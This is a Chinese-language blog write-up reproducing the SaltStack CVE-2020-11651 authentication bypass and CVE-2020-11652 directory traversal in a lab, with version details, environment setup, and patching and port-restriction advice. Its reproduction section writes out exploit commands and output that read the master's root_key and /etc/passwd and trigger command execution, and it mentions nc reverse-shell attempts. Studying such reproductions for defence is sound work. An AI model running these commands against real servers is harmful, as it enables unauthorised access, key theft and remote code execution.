一、漏洞描述
SaltStack是基于Python开发的一套C/S架构配置管理工具,是一个服务器基础架构集中化管理平台,具备配置管理、远程执行、监控等功能,基于Python语言实现,结合轻量级消息队列(ZeroMQ)与Python第三方模块(Pyzmq、PyCrypto、Pyjinjia2、python-msgpack和PyYAML等)构建。
在CVE-2020-11651认证绕过漏洞中,攻击者通过构造恶意请求,可以绕过Salt Master的验证逻辑,调用相关未授权函数功能,从而可以造成远程命令执行漏洞。在CVE-2020-11652目录遍历漏洞中,攻击者通过构造恶意请求,读取服务器上任意文件。
二、影响版本&&安全版本
影响版本
SaltStack < 2019.2.4
SaltStack < 3000.2
安全版本
2019.2.4
3000.2
三、环境搭建
手动搭建环境
SaltStack Package Repo(http://mirrors.nju.edu.cn/saltstack/2018.3.html)
1、下载文件
wget-O - https://repo.saltstack.com/apt/ubuntu/16.04/amd64/2019.2/SALTSTACK-GPG-KEY.pub | sudo apt-key add -
2、保存文件 /etc/apt/sources.list.d/saltstack.list
debhttp://repo.saltstack.com/apt/ubuntu/16.04/amd64/2019.2 xenial main
3、运行
sudo apt-getupdate
4、安装其他的依赖
sudo apt-getinstallsalt-mastersudo apt-getinstallsalt-minionsudo apt-getinstallsalt-sshsudo apt-getinstallsalt-syndicsudo apt-getinstallsalt-cloudsudo apt-getinstallsalt-api
5、重启服务
sudosystemctl restart salt-minion
安装成功
docker镜像方式:
dockerpull vulfocus/saltstack-cve_2020_11651
拉取镜像
成功运行
四、漏洞复现:
python3exp.py-m192.168.0.102
读取:root_key
执行命令成功
读取/etc/passwd
python3exp.py -m192.168.0.102-c master -r /etc/passwd
docker里面命令不是很全多次执行nc反弹不行(多次尝试放弃了,上面的基本上可以读取和相关操作)
获取root_key还有支持读取/etc/passwd还是可以执行成功的
相关操作过程:
root@kali:# python3 exp.py -m 192.168.0.102/usr/local/lib/python3.7/dist-packages/salt/ext/tornado/httputil.py:107:DeprecationWarning:Usingorimporting the ABCs from'collections'instead of from'collections.abc'is deprecated,andin3.8it will stop workingclassHTTPHeaders(collections.MutableMapping):[+] Checking salt-master (192.168.0.102:4506) status...[+] Read root_key... rootkey:5a4RAt+lafu37VuU6eiT8Ygcegu9VErP7DQaJxb7JxCgW/50yvp9DgYKAG0HtyxXqzVwAMnoJAo=root@kali:# python3 exp.py -m 192.168.0.102 -c master -r /etc/passwd/usr/local/lib/python3.7/dist-packages/salt/ext/tornado/httputil.py:107:DeprecationWarning:Usingorimporting the ABCs from'collections'instead of from'collections.abc'is deprecated,andin3.8it will stop workingclassHTTPHeaders(collections.MutableMapping):[+] Checking salt-master (192.168.0.102:4506) status...[+] Read root_key... rootkey:5a4RAt+lafu37VuU6eiT8Ygcegu9VErP7DQaJxb7JxCgW/50yvp9DgYKAG0HtyxXqzVwAMnoJAo=root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:MailingListManager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:GnatsBug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologinsystemd-timesync:x:100:102:systemdTime Synchronization,,,:/run/systemd:/bin/falsesystemd-network:x:101:103:systemdNetwork Management,,,:/run/systemd/netif:/bin/falsesystemd-resolve:x:102:104:systemdResolver,,,:/run/systemd/resolve:/bin/falsesystemd-bus-proxy:x:103:105:systemdBus Proxy,,,:/run/systemd:/bin/false_apt:x:104:65534::/nonexistent:/bin/falseGot responseforattempting mastershell:{'jid':'20200505175322193300','tag':'salt/run/20200505175322193300'}. Looks promising!
四、修复方案
1. 将SaltStack升级至安全版本以上,升级前建议做好快照备份。
2. 设置SaltStack为自动更新,及时获取相应补丁。
3. 将Salt Master默认监听端口(默认4505 和 4506)设置为禁止对公网开放,或仅对可信对象开放。
参考:
https://www.cnblogs.com/8ling/p/12823524.html
http://mirrors.nju.edu.cn/saltstack/2018.3.html
https://github.com/jasperla/CVE-2020-11651-poc
https://github.com/fofapro/vulfocus/tree/master/images
https://github.com/bravery9/SaltStack-Exp
免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
订阅查看更多复现文章、学习笔记
thelostworld
安全路上,与你并肩前行!!!!
网友评论